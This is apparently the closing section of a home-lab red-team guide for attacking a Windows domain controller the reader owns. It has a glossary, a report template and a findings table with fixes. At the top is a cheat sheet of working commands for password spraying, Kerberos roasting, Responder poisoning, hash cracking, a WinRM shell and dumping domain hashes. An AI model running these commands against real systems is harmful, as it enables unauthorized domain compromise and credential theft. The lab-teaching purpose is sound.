Brute force SMB	`netexec smb 10.0.0.10 -u administrator -p lab-passwords.txt`
Spray	`netexec smb 10.0.0.10 -u users.txt -p 'Winter2026!' --continue-on-success`
AS-REP roast	`impacket-GetNPUsers corp.local/ -usersfile users.txt -no-pass -dc-ip 10.0.0.10`
Kerberoast	`impacket-GetUserSPNs corp.local/u:p -dc-ip 10.0.0.10 -request`
Poison names	`sudo responder -I eth0 -dwv`
Crack NetNTLMv2	`hashcat -m 5600 hashes.txt rockyou.txt`
WinRM shell	`evil-winrm -i 10.0.0.10 -u administrator -p PASS`
Dump domain hashes	`impacket-secretsdump corp.local/administrator:PASS@10.0.0.10 -just-dc-ntlm`

8.2 How to read any tool's help

Every tool in this guide has a built-in manual. If a flag confuses you, ask the tool directly:

```
nmap -h                 # short help
man nmap                # full manual (press q to quit)
netexec smb -h          # help for one module
hashcat --help | less   # full hashcat help, scrollable
```

Piece	What it does
`-h`	"Help." Almost every tool prints its options.
`man TOOL`	The full manual page. q quits, / searches.
`| less`	The pipe `|` sends the output into `less`, a scrollable viewer, so long help does not scroll past you.

8.3 Glossary

Term	Plain meaning
Domain Controller (DC)	The server that controls logins for the whole Windows domain. The prize.
SMB	Windows file-sharing protocol. Port 445. Also carries logins.
Kerberos	The domain's ticket-based login system. Port 88.
LDAP	How Windows publishes its list of users/groups. Ports 389/636.
Hash	A scrambled fingerprint of a password. Crackable offline, at speed.
Wordlist	A text file of guessed passwords, one per line.
Brute force	Many passwords, one account.
Spray	One password, many accounts. Lockout-safe.
Roasting	Abusing Kerberos to obtain a crackable hash (AS-REP or Kerberoast).
Responder	Answers wrong network name lookups to capture login hashes.
DCSync	Making a DC hand over password hashes by pretending to be another DC.
Pass-the-Hash	Logging in with a password's hash instead of the plaintext.

8.4 Your writeup skeleton

```
# Red-Team Exercise — WinServer (corp.local)
Scope:        WinServer 10.0.0.10, attacked from Kali 10.0.0.30, isolated intnet.  Snapshot taken:
yes.
Authorization: I own this VM and network.

1. Recon            — nmap sweep + full port scan. Found DC: 88/389/445/5985 open.
2. Enumeration      — domain corp.local, host SERVER, SMB signing required, anon LDAP denied.
3. Credential attack— <which method worked?>  e.g. sprayed Winter2026! against 4 users;
administrator accepted.
4. Access           — WinRM shell as administrator.
5. Impact           — secretsdump returned domain hashes (DCSync).
6. Detection        — Wazuh alerts seen: 4625 xN, 4624, 4769, 4662. Which fired, which did not?
7. Remediation      — applied lockout policy + disabled LLMNR; re-ran step 3, now blocked.
8. Lessons          — 3 sentences on what surprised me.
```

> **Turn this into a job**
>
> A GitHub repo with both this red-team writeup *and* the Volume 2 hardening writeup, side by side, is exactly what a junior security analyst portfolio looks like. Attack it, detect it, fix it, document it. That loop *is* the job.

Appendix A Findings table for your report

Copy this into your writeup, fill in the last column as you go, and you have a real findings document.

#	Finding	Severity	Fix	Exploitable?
1	Weak / guessable account passwords	High	Length 14+, complexity, lockout, MFA	
2	No account lockout (if threshold 0)	High	`net accounts /lockoutthreshold:5`	
3	LLMNR / NetBIOS enabled	Med	Disable via GPO	
4	Kerberoastable / AS-REP-roastable accounts	Med	gMSA / require pre-auth / AES-only	
5	WinRM 5985 exposed widely	Med	Restrict / HTTPS / disable	
6	Unpatched build 20348.587	Med	Patch via Windows Update	
7	Built-in `administrator` in active use	Med	Named admin + LAPS + Protected Users	
8	SMB signing required	Good	Keep	No
9	SMBv1 disabled	Good	Keep	No
10	Anonymous LDAP search denied	Good	Keep	No

Final reminder

Everything here is legal *only* because you own `10.0.0.10` and the network is isolated. The moment you point any of these tools at a system you do not have written permission to test, it stops being education and becomes a crime. Keep it on the lab bench, keep the snapshots, and keep learning.